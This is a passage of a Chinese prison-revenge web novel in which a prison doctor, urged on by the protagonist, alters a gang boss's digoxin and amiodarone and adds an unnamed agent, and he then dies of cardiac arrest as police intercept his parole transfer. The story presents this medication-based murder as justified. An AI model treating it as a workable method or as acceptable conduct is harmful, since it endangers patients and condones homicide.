苏念晚深吸一口气,重重点头。
…………
接下来的两天,监狱表面风平浪静。
放风时,笑面佛依旧蹲在东北角,但身边围着的人更少了。
他脸色比前几天更差,是一种不健康的灰白,偶尔咳嗽几声,用手捂着胸口。那双总是带着笑意的眼睛,现在蒙着一层阴翳,看人的时候,像打量猎物。
林燃能感觉到那道目光时不时落在自己身上,冰冷,带着杀意。笑面佛不信冷库的事是巧合,他认定了是林燃在背后捅刀。只是现在警方盯着,赵大金那边态度暧昧,他不敢明着动手。
但暗地里的动作,已经开始了。
第二天午饭,林燃在食堂排队打饭。轮到他时,掌勺的犯人——一个平时总耷拉着眼皮的老油子——舀菜的手忽然抖了一下,半勺滚烫的菜汤泼出来,正浇在林燃手背上!
第一百零七章 药
“哎哟,对不住对不住!”老油子嘴上道歉,眼里却没什么歉意,反而有点幸灾乐祸的闪烁。
林燃没吭声,把手缩回来。
手背红了一片,火辣辣地疼。
他抬眼,扫了一眼打饭窗口后面——白癜风站在阴影里,胳膊还吊着,正冷冷地朝这边看。
食堂是笑面佛的地盘,在这里给自己找点不愉快,再正常不过了。
这是挑衅。试探。
林燃没理会,用凉水冲了冲手,端着饭盆走到角落坐下。周晓阳和刀疤辉跟过来,脸色都不好看。
“燃哥,那孙子故意的!”周晓阳压低声音,咬牙切齿。
“知道。”林燃拿起馒头,咬了一口,嚼得很慢,“让他们跳。跳得越高,死得越快。”
下午,林燃被安排去仓库搬货。经过一段堆满杂物的狭窄通道时,头顶忽然掉下来半截生锈的铁管,擦着他肩膀砸在地上,“哐当”一声巨响。
林燃停住脚步,抬头看。通道上方的维修平台空荡荡的,只有风声。
跟在后面的刀疤辉吓出一身冷汗:“燃哥,这……”
“没事。”林燃踢开铁管,继续往前走,脸上没什么表情。
都是小把戏。吓唬人的。
笑面佛在等,等保外就医的申请批下来,等他离开监狱前,再毫无顾忌地收拾自己。
而现在这些不上台面的手段,既是泄愤,也是在施压——他想让林燃慌,让林燃怕,最好自己露出破绽。
可惜,林燃两世为人,最不怕的就是等。
…………
第三天上午,医务室。
苏念晚把两个小药瓶递给刘长生。瓶子是普通的棕色玻璃药瓶,标签手写,字迹工整:“地高辛片,0.25mg*7”、“胺碘酮片,200mg*7”。
“剂量我稍微调整了一下。”她声音平静,听不出异样,“陈有仁最近症状不是加重了吗?按原剂量怕控制不住。你先给他这些,观察两天,如果还有心悸头晕,再来找我开硝酸甘油。”
刘长生接过药瓶,捏在手里看了看,金丝眼镜后的眼睛闪着疑虑:“苏医生,这剂量……会不会有点猛?”
“猛?”苏念晚抬眼看他,眼神里带着专业的冷淡,“刘医生,病历是你让我改的,病情也是你说加重的。现在药量跟上去了,你又觉得猛?那要不,病历改回去,你亲自去跟佛爷解释?”
刘长生脸一白,连忙摆手:“不不不,苏医生您说得对,就该这么调……我这就给佛爷送去。”
自从上次林燃威胁过他后,对于苏念晚,刘长生是一点都不敢再随便得罪,只能通过笑面佛施压。
他攥紧药瓶,匆匆走了。
苏念晚看着他消失在走廊尽头,背靠着药柜,缓缓滑坐到椅子上。手心里全是汗,冰凉。
她给的笑面佛的药,确实是“调整”过的。地高辛的剂量微调,胺碘酮也加了少许。按她的计算,这些药吃下去,会在未来24小时内逐渐起效——心悸感加剧,胸闷,头晕,完美契合那份伪造病历里“病情恶化”的描述。
但她在胺碘酮里,多加了点东西。
一种很少用的辅助药剂,单用无害,但和地高辛在特定代谢情况下相遇,会微妙地影响心脏传导。一次两次没事,可如果连续服用一周……心脏负荷会不知不觉加到临界点。
到时候,一次情绪激动,或者一点额外的刺激,就可能诱发室颤。
苏念晚闭上眼,手指微微发抖。她是医生,救人的手,现在却在算计怎么杀人。虽然那个人该死。
门外传来脚步声,很轻。她猛地睁开眼,看见林燃不知什么时候站在门口,正静静看着她。
“药给了?”他问。
“给了。”苏念晚站起来,腿有点软,“按你说的,三天。他今天开始吃。”
林燃点点头,走进来,反手带上门。他没看苏念晚,而是走到药柜前,目光扫过那些密密麻麻的药瓶。
“他什么时候来取硝酸甘油?”
“如果‘症状’加重,最快明天,最晚后天。”苏念晚跟在他身后,声音发紧,“硝酸甘油我准备了两种。一种正常的,一种……加了料。”
“加了多少?”
“足够让他在短时间内血压骤降,头晕目眩,看起来像心脏病急性发作。”苏念晚停顿了一下,“但……如果不及时处理,也可能真的引发心源性休克。”
她在赌。赌笑面佛身边有人懂急救,赌他们会及时送医。赌一个“意外”的度。
林燃转过身,看着她。台灯的光从侧面打过来,把她脸上的挣扎和恐惧照得清清楚楚。
“怕了?”他问。
苏念晚咬住嘴唇,没说话。
“现在收手还来得及。”林燃语气平淡,“把药换回来,当什么都没发生过。笑面佛那边,我另想办法。”
苏念晚猛地抬头:“那你呢?他会放过你?”
“我的事,不用你操心。”
“不。”苏念晚摇头,眼泪又涌出来,但这次没掉,只是在眼眶里打转,“我做。林燃,我说过,我这条命是你买的。你要他死,我就帮你弄死他。”
她说得狠,声音却在抖。
林燃看了她几秒,忽然伸手,用拇指擦掉她眼角那点湿意。动作有点生硬,没什么温柔可言。
“那就别抖。”他说,“像平时一样。你是医生,他是病人。该开药开药,该记录记录。其他的,交给命。”
…………
笑面佛是在第二天下午“犯病”的。
当时放风刚结束,犯人们正排队回监舍。走到监舍楼门口时,陈有仁突然脚下一软,要不是旁边白癜风眼疾手快扶住,差点栽倒在地。
他脸色煞白,额头冷汗直冒,一只手死死捂着胸口,呼吸又急又浅。
“佛爷!佛爷你怎么了?”白癜风慌了神。
周围瞬间乱成一团。狱警吹着哨子冲过来,人群被强行分开。笑面佛被扶到旁边长椅上坐下,嘴唇发紫,眼睛半闭着,看起来痛苦不堪。
“药……药……”他从牙缝里挤出几个字。
第一百零八章 早上
白癜风赶紧从他囚服内袋里摸出个小药瓶——正是苏念晚开的那瓶“地高辛”。
倒出两片,塞进他嘴里。旁边有人递过来水,笑面佛就着水吞了,靠在椅背上喘气。
过了大概五六分钟,他脸色慢慢缓过来点,呼吸也平顺了些。
但整个人像虚脱了一样,瘫在椅子上,眼神涣散。
“送医务室!”狱警当机立断。
笑面佛被两个人架着,踉踉跄跄往医务室去。
路过排队的人群时,他忽然抬起头,目光穿过攒动的人头,精准地钉在站在队伍末尾的林燃脸上。
那眼神浑浊,带着痛楚,但底下那点毒蛇般的阴冷,一点没散。
林燃平静地回看着他,甚至微微扯了下嘴角。
像是在说:这才刚开始。
笑面佛被送进医务室。苏念晚检查,听诊,量血压,一套流程走得专业又迅速。
血压偏低,心率不齐,听诊有杂音——和她“预期”的“病情恶化”完全吻合。
她给笑面佛开了硝酸甘油,嘱咐他随身携带,感觉不适立刻含服。
又“严肃”地跟陪同的狱警说,病人情况不稳定,需要密切观察,建议减少活动,最好卧床。
笑面佛被送回监舍。但消息已经传开了——佛爷心脏病犯了,差点没撑过去。
放风场上,窃窃私语像潮水一样漫开。
不少人偷偷往东北角看,那里空了一个位置。笑面佛的“王朝”,似乎随着他这一倒,开始松动。
码头帮的大眼仔蹲在西南角,眯着眼抽烟,不知道在想什么。北佬帮的赵大金没露面,小浙江代替他站在老位置,眼神在人群里扫来扫去,最后落在林燃身上,停了很久。
…………
第三天,笑面佛没出来放风。
但管教那里传出消息,他的保外就医申请,加急递上去了。
理由很充分——“突发性心脏病,狱内医疗条件有限,随时有生命危险”。
据说副监狱长彭振亲自打了招呼,流程走得飞快。
第四天,放风时,白癜风带着几个人,径直朝林燃走过来。他胳膊还吊着,但眼神凶得很,像要咬人。
周晓阳和刀疤辉立刻挡在林燃前面。周围犯人见状,自动散开一圈,空出块地方。
“林燃,”白癜风在两步外站定,声音压得低,但够狠,“佛爷让我带句话。”
“说。”林燃没动。
“他说……”白癜风咧开嘴,露出被烟熏黄的牙,“等他出去那天,一定好好‘谢谢’你。”
“谢我什么?”
“谢你的事多了。”白癜风往前凑了凑,几乎贴到林燃脸上,声音从牙缝里挤出来,“佛爷说了,他在外面后,他会送你一程。”
赤裸裸的威胁。笑面佛认定是林燃搞鬼,但现在自身难保,只能撂狠话。
林燃笑了。笑得很淡,眼睛里一点温度都没有。
“好啊。”他说,“那我祝佛爷……一路顺风。”
白癜风瞪着他,胸口起伏了几下,最终没动手,转身带着人走了。背影有点仓皇。
周晓阳松了口气,后背全是汗:“燃哥,他这话……”
“废话。”林燃打断他,目光追着白癜风消失在监舍楼门口,“将死之人,总要嚎两嗓子。”
…………
第五天,下午。
保外就医的批复下来了。同意。程序走得飞快,明天一早,笑面佛就能离开监狱,去指定的医院“治疗”。
消息传进监狱时,放风还没结束。
东北角那群人瞬间骚动起来,有人松了口气,有人面露喜色,白癜风更是激动得脸发红,吊着的胳膊都在抖。
总算能出去了。
出去了,就有的是办法收拾残局,有的是时间算账。
林燃站在老位置,看着那边。天色阴了下来,铅灰色的云层压得很低,风里带着潮气,像要下雨。
要变天了。
…………
雨是下半夜开始落的。
起初只是零星的几点,砸在监舍楼铁皮屋顶上,发出沉闷的“咚、咚”声,像谁在很远的地方敲门。
到了凌晨三四点,雨势突然大了,哗啦啦泼下来,在黑暗里织成一张密不透风的网。
林燃睁着眼,躺在头板床上。
隔壁床的周晓阳翻了个身,嘴里含糊地嘟囔了句梦话。
刀疤辉的鼾声断断续续,偶尔被窗外骤然加大的雨声吞没。牛哥和麻杆那边静悄悄的,但林燃知道他们也没睡熟——在这种地方,能睡死的人活不长。
他在等。
等天亮,等那扇铁门打开,等那个戴了十几年“佛爷”面具的人,最后一次走出这座监狱。
或者说,是自以为最后一次。
雨声里,远处隐约传来监狱大门方向车辆进出的动静。
很轻,但在这种死寂的深夜里,任何不寻常的声音都会被放大。林燃侧耳听着——不止一辆。
轿车低沉的引擎声,还有那种中型厢式车特有的、带点空腔共鸣的嗡嗡响。
来得挺早。
他翻了个身,面朝墙壁。水泥墙在雨夜里泛着潮湿的凉气,贴着皮肤,让人脑子清醒。
笑面佛这会儿在干什么?
大概也在等。躺在病号监舍那张稍微软一点的床上,睁着眼,听着雨,盘算出去后的每一步。
先去哪家医院,联系哪个律师,找谁平事,怎么把冷库那摊烂账抹干净……还有,怎么收拾林燃这个“不知天高地厚”的小子。
想到这里,林燃在黑暗里扯了扯嘴角。
可惜,陈有仁算计再多,也算不到自己活不过今天早晨。
窗外的天色一点点泛出灰白。
雨还没停,只是从倾盆变成了绵密,像一层湿漉漉的灰纱,罩着整个监狱。
起床哨在六点准时响起,尖利得刺耳。监舍楼里瞬间活过来——咳嗽声,拖鞋趿拉声,铁门被狱警挨个拍响的哐啷声。
312的门也开了。
值班的是个面生的年轻狱警,探进头扫了一眼:“洗漱,二十分钟后早饭。”
林燃坐起身,慢吞吞地叠被子。
动作和平时没什么两样,但周晓阳和刀疤辉都察觉到了什么——两人对视一眼,都没说话,只是默默跟着整理床铺。
第一百零九章 押送
早饭在食堂吃。
雨天的食堂比平时更闷,潮湿的水汽混着粥饭的蒸汽,在低矮的屋顶下凝成一片白茫茫的雾。犯人们端着饭盆排队,很少有人说话,只听见勺刮碗底和稀里呼噜吞咽的声音。
林燃打了碗粥,拿了个馒头,走到靠窗的老位置坐下。
窗外正对着监狱中央的空地。雨丝斜斜地飘,把远处办公楼和岗哨的轮廓都晕开了,像一幅没干透的水墨画。
他刚咬了口馒头,食堂门口忽然一阵骚动。
几个人走了进来。
不是犯人,是穿便装的。为首的是个三七分的中年人,腋下夹着个黑色公文包。后面跟着两个年轻人,手里拿着文件夹,表情严肃。
是监狱管理局的人。
林燃认得那个三七分——上次榔头死后,就是他带队来调查的。看来笑面佛保外就医的手续,最后一步得这帮人签字。
三七分没往打饭窗口去,径直走向食堂最里面的小隔间。那是管教们平时吃饭的地方,今天特意空出来了。
很快,一个人的出现,让林燃猛的眼睛睁大。
四十来岁的男人,方脸,眼袋浓重,看面相就觉得阴沉难近,不是好人。
但林燃对他的情绪更强烈,更愤怒!
这人就是副监狱长彭振!
也是在这安江监狱里,屡次对自己下死手的元凶!
林燃上一世见过他,那一世这觉得这人不好说话,没想到这一世才知道他也是幕后黑手!
彭振一出现了,就匆匆忙忙从办公楼方向过来,进了隔间。门关上,但没关严,留了条缝。
隐约有说话声飘出来。
“……材料都齐了……医院那边联系好了……随时可以走……”
彭振的声音有点急,像是在解释什么。三七分的声音听不清,只能偶尔捕捉到几个词:“程序……复核……责任……”
林燃低下头,继续喝粥。
粥很稀,米粒少得可怜,喝进嘴里只有一股淀粉的黏糊感。他慢慢地、一口一口地咽下去,像是品尝什么珍馐美味。
食堂里其他犯人也注意到了隔间里的动静,窃窃私语像水面下的暗流,悄悄荡开。
“看见没?管理局的人……”
“佛爷今天真要走了?”
“废话,不然来这么多人干啥?”
“你说他出去后,第一件事是干啥?”
“还能干啥,治‘病’呗……”
“嘿嘿,我看是治‘人’吧……”
议论声里夹杂着几声压低的笑,但很快又沉寂下去。谁都知道,有些话题不能深聊,尤其在今天这种敏感日子。
林燃吃完最后一口馒头,端起碗,把碗底那点粥渣舔舐干净。动作自然得像每天都会做的事。
放下碗时,他余光瞥见食堂门口又进来一个人。
是苏念晚。
她今天没穿白大褂,换了件浅灰色的薄毛衣,深色长裤,头发在脑后松松挽了个髻。手里拎着个不大的出诊箱,脸色在食堂昏暗的光线下显得格外苍白。
她是来给笑面佛做最后一次“检查”的——保外就医前,必须有医生出具“病情稳定,可以移送”的证明。
苏念晚没往打饭窗口看,径直走向那个小隔间。走到门口时,她脚步顿了顿,像是深吸了口气,然后才抬手敲门。
门开了条缝,她侧身进去。
林燃收回目光,端起空碗,起身往洗碗池走。
水龙头里流出来的水冰凉刺骨。他把碗伸到水流下,手指搓着碗壁上那层薄薄的粥膜。塑料碗很轻,在手里微微颤抖——不是他在抖,是水流太急。
洗完碗,他走到食堂门口,把碗放进回收筐。雨还在下,细密的雨丝被风斜吹进来,打在脸上,凉丝丝的。
他站在屋檐下,看着雨。
身后食堂里的嘈杂声渐渐远了,只剩下雨打水泥地的沙沙声,单调,绵长,像某种倒计时。
大概过了二十多分钟,小隔间的门开了。
苏念晚先走出来。她脸色比刚才更白,嘴唇抿得紧紧的,手里还拎着那个出诊箱,但箱子看起来轻了不少——里面的东西大概已经用掉了。
她没往食堂这边看,低着头,快步穿过空荡荡的食堂大厅,消失在通往医务室的走廊拐角。
紧接着出来的是三七分和那两个年轻人。三七分脸上没什么表情,只是边走边对身旁的彭振说着什么。彭振连连点头,脸上堆着笑,但那笑有点僵,额头上似乎还有层薄汗。
最后出来的是笑面佛。
他今天穿了身崭新的囚服——虽然是囚服,但料子比普通犯人的厚实,熨得笔挺,连扣子都扣得一丝不苟。外面罩了件深蓝色的夹克,也是新的,领口露出里面囚服的浅灰色边缘。
他走路有点慢,一只手被白癜风搀着,另一只手虚虚地按在胸口。脸色确实不好,是一种病态的灰白,嘴唇发紫,呼吸看起来有些费力。
但林燃看得清楚——那双眼睛。
那双总是带着笑意、底下却藏着刀子的眼睛,此刻亮得惊人。不是健康的亮,是一种亢奋的、带着狠劲的光。像困兽出笼前最后一瞥。
笑面佛在食堂门口停下。
他没看林燃,而是缓缓转过头,目光扫过整个食堂大厅。几百号犯人,或坐或站,或吃或聊,在他目光扫过时,都不自觉地停了动作。
那一瞬间,食堂里静得能听见雨声。
笑面佛咧开嘴,笑了。
不是平时那种似笑非笑,而是一个真正的、舒展的笑容。嘴角咧开,露出被烟熏黄的牙齿,眼角的皱纹堆起来,像朵开败了的花。
他没说话,只是那么笑着,看了最后一眼,然后转过身,在白癫风和另一个手下的搀扶下,慢慢走出了食堂大门。
门外停着两辆车。一辆是监狱的公务车,灰色的桑塔纳,车身上还沾着泥点。另一辆是白色的救护车,顶灯没开,但车厢侧面印着红色的“急救”字样。
三七分和彭振上了桑塔纳。笑面佛被扶上救护车的担架床——这是规矩,保外就医的犯人必须由救护车移送,既是“病情需要”,也是一种变相的押送。
第一百一十章 查获
车门关上。
引擎发动的声音在雨声里显得格外沉闷。
林燃站在食堂屋檐下,看着那两辆车缓缓启动,拐过办公楼前的弯道,朝着监狱大门方向驶去。
周晓阳凑过来,声音发干:“燃哥,他就这么……出去了?”
救护车的尾灯在雨幕中拖出两道模糊的红痕,像伤口渗出的血,渐远渐淡。
食堂里那阵死寂维持了大概三四秒,然后“嗡”地一声炸开。议论声、碗筷碰撞声、甚至有人压抑不住的嗤笑,混成一片低沉的潮响。佛爷走了,压在三监区头顶十几年那座山,好像真就随着那两盏消失的红灯,挪开了。
周晓阳还踮脚张望,脖子伸得老长。
刀疤辉低头搓着手指上那块老茧,不知在想什么。
码头帮的大眼仔和手下交换了个眼神,又飞快地移开。
林燃收回目光,转身往洗碗池走。水龙头没关紧,滴答着,声音在嘈杂的背景里清晰得突兀。
他拧紧龙头,水流声消失。
就在这时,监狱大门方向传来一声尖锐的、截然不同的鸣笛——不是救护车那种平稳的呜咽,是警笛,短促,急促,带着不容置疑的穿透力,硬生生劈开雨声和食堂的喧哗。
所有人动作一顿。
紧接着,是更多车辆引擎的轰鸣,轮胎碾过积水地面的哗啦声,还有对讲机电流干扰的刺啦杂音。
食堂门口一个刚探出头想看看情况的犯人,像被烫了似的缩回来,脸色发白,嘴唇哆嗦:“警……警察!好多车!把大门堵了!”
“轰——”
食堂彻底炸了。
犯人全涌向门口和窗户,挤着,推搡着,伸长脖子往外看。管教和狱警吹着哨子,厉声喝止,但压不住那股躁动。
林燃没动。
他站在原地,背对着门口那片混乱,听着外面隐约传来的、透过雨幕依然清晰的喊话声:
“安江市局!执行公务!”
“车辆靠边!接受检查!”
心脏在胸腔里沉稳地跳着,一下,一下。比他预想的快了点,但时机……掐得正好。
雨似乎小了些,但天色更沉。灰白的光线从食堂高窗渗进来,照着无数张惊疑不定的脸。
隔着攒动的人头,林燃看见那辆灰色的桑塔纳和白色救护车,被几辆喷涂着警徽的黑色越野车逼停在监狱大门内侧的空地上。车门砰砰打开,跳下来的人清一色深色夹克,动作利落,瞬间形成合围。
一个身影格外显眼。
五十岁上下,身材保持得很好,没穿警服,但那种久居上位的沉稳和此刻刻意收敛的锐利,隔着雨幕都能感觉到。他没打伞,旁边有人试图给他撑上,被他摆摆手挡开。
秦卫国。
安江市局副局长,秦墨的父亲。
林燃前世只在新闻里见过他几次。那时这人已是市局一把手,在某个扫黑表彰大会上讲话,镜头前威严从容。而现在,他亲自带队堵在监狱门口,为了一个即将保外就医的犯人。
有点意思。
秦卫国没理会慌慌张张从桑塔纳里下来的彭振和三七分,径直走到救护车后门。车门开着,能看到里面担架床上半坐起的笑面佛——那张灰白的脸此刻僵着,刚才那种亢奋的、带着狠劲的光彻底没了,只剩下难以置信的惊愕,和一丝猝不及防的慌乱。
“陈有仁。”秦卫国的声音不高,透过雨声传进来,却字字清晰,“关于西城建材市场旧城改造项目,1998年强拆致两人死亡、尸体隐匿一案,现需要你配合调查。”
“嗡——”
食堂里响起一片倒抽冷气的声音。
西城?强拆?两条人命?尸体?
这些词像一串炸雷,滚过沉闷的空气。连原本忙着维持秩序的狱警都愣了一下,不由自主看向门外。
笑面佛张了张嘴,似乎想辩解,但喉咙里只发出“嗬嗬”的声响。他一只手还按在胸口,按得很用力,指节绷得发白。额头上的冷汗,之前或许是装出来的病态,现在却以肉眼可见的速度渗出,汇聚成滴,顺着太阳穴往下淌。
不是装的。
林燃看着,心里那根绷了很久的弦,轻轻松了一扣。
苏念晚的药,起效了。胺碘酮加上她额外添的那点“料”,在情绪剧烈波动的催化下,正把他心脏往悬崖边上推。
“秦、秦局……”彭振总算挤了过来,脸色比笑面佛好看不到哪去,勉强挤出笑,“这是不是有什么误会?陈有仁他病情危急,保外就医手续齐全,您看是不是先让救护车……”
“手续齐全?”秦卫国转过头,目光扫过彭振,没什么温度,“彭副监狱长,我们当然支持保障嫌疑人的基本权利,但是,现在陈有仁不是一名在押囚犯的身份了,他是一名我们公安抓捕的犯罪嫌疑人!他的保外就医的病情鉴定和手续,是要由我们公安机关出具!这关于是否对他进行救助治疗,是由我们进行判断!”
彭振脸上的笑僵住了。
三七分站在稍远的地方,脸色铁青,手里的公文包捏得死紧,却没再上前。管理局的人不傻,这时候掺和进去,沾一身腥。
笑面佛的呼吸开始变得粗重。他瞪着秦卫国,眼睛充血,里面翻滚着怨毒、恐惧,还有更多的不解——怎么会?
这两尸体的身份……西城拆迁那件事,过去多少年了?现场处理得干干净净,怎么可能这么快牵扯到我身上?
就算因为冷库的事被挖出来,自己也用了几个公司做嵌套,沾不上自己,查到自己头上不知道要多久了。
怎么会在这个时候,被市局副局长亲自带队堵上门?
他猛地扭头,目光穿过雨幕,穿过敞开的食堂大门,像淬了毒的钉子,死死钉在站在食堂深处、静静望过来的林燃身上。
是你。
一定是这个小子!冷库是他捅出去的,西城的事……难道也是他?可他怎么知道?他怎么可能知道!
林燃接收到了那道目光,甚至对他轻轻点了点头。
是啊,我知道。
第一百一十一章 大仇得报
那些破碎的前世记忆,在病床上煎熬时,听隔壁床老犯人断断续续的醉话:“西城那片……以前是建材市场,拆的时候,嘿,黑着呢……听说压了人,没报,直接埋了……就在市场后头那个自家修的冷库底下……后来那地方改建,冷库废弃了,但东西,怕是还在……”
当时只当是无数监狱谣传中的一个。直到这一世,榔头临死前吐出“人在右角的冷库”,直到查笑面佛背景,发现他早年靠建材市场起家,直到把“西城”、“建材市场”、“冷库”、“人命”这些碎片,和前世那段模糊的醉话拼在一起。
有些秘密,埋得再深,只要知道该往哪里挖,总能见到天日。
“呃……啊……”
笑面佛喉咙里发出不成调的嗬嗬声,按在胸口的手猛地揪紧了胸前的衣料。他脸色从灰白转向一种可怕的青紫,眼球凸出,张大嘴,却吸不进足够的空气。
救护车上的随车医生慌了,赶紧拿设备,测血压,听心率。
“心率失常!血压在掉!”
“准备肾上腺素!”
“不行!他这情况像是地高辛中毒合并急性心衰!不能乱用肾上腺素!”
现场一片混乱。秦卫国皱了皱眉,示意手下警察维持秩序,但没阻止医护抢救。他要的是活口,是口供,不是一具尸体。
可有些事,一旦启动,就停不下来。
笑面佛的身体开始抽搐,幅度不大,但每一下都带着濒死的僵硬。他眼睛还瞪着食堂方向,瞪着林燃,但那里面的光正在飞速消散,被剧烈的生理痛苦和绝望吞噬。
苏念晚站在稍远一些的医务室走廊门口,脸色惨白如纸,手指紧紧攥着白大褂的下摆,指节泛青。她看着救护车里那个抽搐的身影,看着医生徒劳地抢救,看着那些闪烁的仪器指示灯,胃里一阵翻搅。
她算对了剂量,也算对了时间。情绪激动是最后一根稻草。
可当这一切真的在眼前发生,当一个人以这种方式走向终结……
她猛地闭上眼,转过身,肩膀微微颤抖。
林燃将她的反应收在眼底,脸上没什么表情。怜悯吗?有一点。但更多的是冷静。这条路是她自己选的,也是笑面佛自己铺的。种什么因,得什么果。
救护车里,心电监护仪上的曲线,在几次剧烈的波动后,拉成了一条笔直的红线。
“嘀————————”
长鸣刺耳,穿透雨声。
医生动作停住了,抹了把额头的汗,看向秦卫国,摇了摇头。
死了。
笑面佛陈有仁,在距离监狱大门不到三十米的地方,在即将“重获自由”的前一刻,在市局副局长和众多警察眼前,心脏病突发,抢救无效死亡。
食堂里死一般的寂静。
所有犯人,无论之前是敬畏他还是恨他,此刻都怔怔地看着门外那一片狼藉的雨地,看着救护车敞开的门里,那个不再动弹的身影。
一个时代,以一种猝不及防又充满戏剧性的方式,落幕了。
秦卫国脸色阴沉,但很快恢复如常。他低声对身边下属交代了几句,大概是要求彻底勘察现场、保存证据、对接监狱方面处理后续。
…………
雨彻底停了。
食堂屋檐还在滴水,嗒,嗒,嗒,像座老旧的钟在数着什么。地面上的积水映着灰白的天光,碎成一片片晃动的亮斑。
门外那场混乱已经收场。
救护车后门关上了,那块白布下面盖着的人,曾经有个名字叫陈有仁,更多人叫他“笑面佛”。
现在这些都不重要了。警察在雨地里拉起了警戒带,黄色的塑料条在湿风里飘着,像道突然划出来的界限——这边是监狱的日常,那边是某个人的终点。
秦卫国和彭振站在桑塔纳车旁说话。
副局长背挺得直,彭振的腰却有点塌,说话时不停地做手势,像是在解释什么,又像是在撇清什么。三七分带着管理局的人已经上车了,车窗关着,看不见表情。
食堂里的犯人被狱警呵斥着往回赶。
“看什么看!都回座位!”
“吃饭!吃完上工!”
哨子吹得刺耳,但压不住那股低沉的、嗡嗡作响的骚动。每个人都在交换眼神,用最小的动作,最快的速度——眉毛挑一下,嘴角撇一撇,下巴往门外方向抬一抬。
意思都明白:佛爷死了。
不是病死的,不是斗殴死的,是在马上要出去的时候,被警察堵在门口,活活……吓死的?气死的?还是真的病发了?
“燃哥……”周晓阳凑过来,声音发虚,“这笑面佛真的死了?”
林燃没回答。他端起已经凉透的粥碗,把最后一口倒进嘴里。粥渣黏在喉咙里,有点噎。他慢慢咽下去,然后放下碗,起身。
“走。”
刀疤辉和牛哥麻杆立刻跟上。四个人穿过还在骚动的人群,往食堂外走。所过之处,犯人们自觉让开一条道——不是出于尊敬,是某种更复杂的情绪:忌惮,好奇,还有一丝说不清道不明的惧意。
都知道笑面佛之前一直在想办法整这小子。
但现在。
笑面佛死了,而林燃还活着。不仅活着,刚才那一幕,甚至戏剧的像早就写好的剧本。
走出食堂,雨后的空气清冷潮湿,带着铁锈和泥土的腥气。监舍楼那边已经有队伍在集合,准备去上工。狱警的吆喝声在空旷的场地上回荡,一切似乎又回到了日常轨道。
但有些东西,不一样了。
林燃走到集合队伍末尾,站定。他能感觉到无数道目光落在背上,针一样。他挺直背,没回头。
上午的劳动安排是去服装车间缝纫。
最近狱属企业赶工期,林燃也要参加这边的劳动改造。
流水线上,缝纫机嗡嗡响成一片,空气里飘着布料的纤维和机油味。
林燃坐在自己的工位上,手指捏着布料边缘,针脚走得平直均匀——这是他这段时间在监狱里练出来的本事,手稳,心更稳。
第一百一十二章 风波
隔壁工位的犯人是个老头,平时总低着头不说话,今天却破天荒往林燃这边瞥了好几眼,嘴唇动了动,终究没出声。
对面工区,白癜风也在。
他胳膊还吊着,但没在工位上,而是站在流水线尽头,和车间管事的狱警说着什么。脸色铁青,说话时脖子上的青筋一跳一跳。偶尔转头往林燃这边扫一眼,眼神像淬了毒的钩子。
林燃当没看见。
针尖扎进布料,拉出细长的线。他脑子里却在复盘刚才的一切。
秦墨那边动作比他预想的快。看来“西城冷库两条人命”这个线索,分量足够重,重到能让秦卫国亲自出马。
笑面佛这些年靠建材市场起家,底子本来就不干净,强拆这种事在九十年代末并不少见,但闹出人命还埋尸灭迹,就是另一回事了。
尤其,尸体被挖出来了。
证据链一旦开始滚动,后面的事就由不得人了。
笑面佛的保外就医,差点让他逃过一劫,幸亏,苏念晚那些“调整”过的药。
不然真让他出去,这死的就是自己。
想到这,林燃手指顿了顿。
针尖刺破布料,扎进指腹。一点猩红渗出来,在浅灰色的囚服布料上晕开个小点。他面不改色,把手指含进嘴里,吮掉血珠,咸腥味在舌尖化开。
苏念晚现在怎么样?
刚才在医务室走廊门口,她转身时肩膀抖得厉害。毕竟第一次做这种事,毕竟……那是一条命。
但这条路是她自己选的。就像他林燃,选了一条更险的路。
缝纫机的声音在耳边持续响着,单调得让人昏昏欲睡。林燃却异常清醒。笑面佛死了,但事情没完。
他的手下还在。白癜风,还有那些藏在暗处的。这些人不会善罢甘休,老大死了,要么树倒猢狲散,要么……就得有人站出来,替老大“报仇”,顺便接位置。
还有北佬帮。
赵大金现在肯定在琢磨。冷库的事被捅出去,笑面佛猝死,这两件事连在一起,太巧。就算林燃有禁闭室这个“完美”的不在场证明,怀疑的种子一旦种下,浇水的是谁不重要,重要的是它会不会发芽。
至于码头帮……
林燃抬眼,往车间门口方向看了看。
大眼仔今天没来车间。听说码头帮最近在外面有点麻烦,船爷身体不行了,小霸王急着接班,内部不太平。笑面佛一死,西城那片建材市场的利益,恐怕又要重新划分。
缝纫机针头上下跳动,布料在手下一点点成型。林燃的手指稳得出奇,针脚密实均匀,像用尺子量过。
他在等。
等下一个动静。
…………
动静来得比预想的快。
下午放风,林燃刚走到操场,就被小浙江堵住了。
这次他没绕弯子,直接开口:“虎爷要见你。”
语气比上次更硬,眼神也更冷。
林燃看了看他身后——没带人,就他一个。但操场东北角,北佬帮七八个人聚在那里,正往这边看。赵大金没露面。
“现在?”林燃问。
“现在。”
还是老地方,放风区东角废器械堆。但今天气氛不一样。
赵大金没蹲着,也没靠在哪里,就直挺挺站在那儿,像根插在地上的标枪。他手里捏着半截烟,没抽,烟灰积了长长一截。
林燃走过去,在距离他两米的地方停下。
“虎爷。”
赵大金抬眼,盯着他。那双眼睛里有血丝,眼白浑浊,但目光锐利得像刀,一寸寸刮过林燃的脸。
“陈有仁死了。”他开口,声音沙哑。
“听说了。”林燃说。
“死得挺巧。”赵大金把烟叼回嘴里,狠狠吸了一口,烟雾从鼻孔喷出来,“马上要出去了,警察来了,心脏病犯了——你说,怎么就那么巧?”
“是巧。”林燃迎着他的目光,“我也觉得巧。”
“你觉得?”赵大金冷笑,“林燃,别跟我装。冷库的事,是你捅出去的吧?”
问题来得直接,像一记直拳。
林燃没躲,也没接,反而反问:“虎爷为什么这么觉得?”
“因为只有你有动机。”赵大金往前踏了半步,两人距离拉近到能闻见对方身上的烟味,“陈有仁捏着你的把柄,想弄死你。你想弄死他,天经地义。冷库的秘密,榔头告诉你了,你转手卖给警察,借刀杀人——这逻辑,不通吗?”
“通。”林燃点头,“但有个问题。”
“说。”
“我怎么卖?”林燃看着他,“我在禁闭室。铁门,黑屋子,除了送饭的管教,谁都见不到。我怎么往外递消息?”
赵大金沉默了。
烟在他指间慢慢燃着,烟灰掉下来,碎在鞋面上。
“那你告诉我,”他再开口时,语气缓了些,但更沉,“警察怎么知道的?时间卡得那么准,就在陈有仁要出去的时候?”
“我不知道。”林燃说得坦然,“但虎爷,您想过没有——冷库埋尸这种事,当年知道的人,不止陈有仁一个吧?动手的工人,指挥的工头,还有那些家属……这么多年,谁保证没有一个人憋不住,或者缺钱了,去举报?”
